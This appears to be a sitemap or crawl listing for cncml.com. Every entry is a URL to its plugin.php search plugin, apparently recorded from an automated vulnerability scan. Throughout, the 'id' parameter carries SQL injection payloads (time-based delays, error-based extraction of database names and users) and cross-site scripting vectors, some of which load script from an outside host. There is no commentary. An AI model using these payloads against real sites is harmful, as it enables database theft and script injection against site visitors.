http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%00' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20RLIKE%20(SELECT%20(CASE%20WHEN%20(62=94)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%22%20AND%20%22dr%22=%224G 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%22)%20AND%2091=28%20AND%20(%22Ox%22=%22Ox 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25%22%29%20AND%2098%3D17%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25%27%29%20AND%2048%3D22%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%2093=84%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=42)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%2527 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%5B%5D 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%5C%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%5C' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch%bf%27 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%20'Be'%20LIKE%20'gz 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%20'jo'='l0 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=12)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20'sc'='sc 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20'gm'='gm 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%20('PI'%20LIKE%20'Dv 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%2089=84%20AND%20('t5'='t5 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20OR%2081=81%20AND%20('lH'='lH 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=61)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20('z6'='z6 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20('ik'='ik 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20(19=19 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(92=17)%20THEN%200x636C6F7564736561726368%20ELSE%200x28%20END))%20AND%20(92=92 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,(SELECT%20(CASE%20WHEN%20(12=69)%20THEN%200x636C6F7564736561726368%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 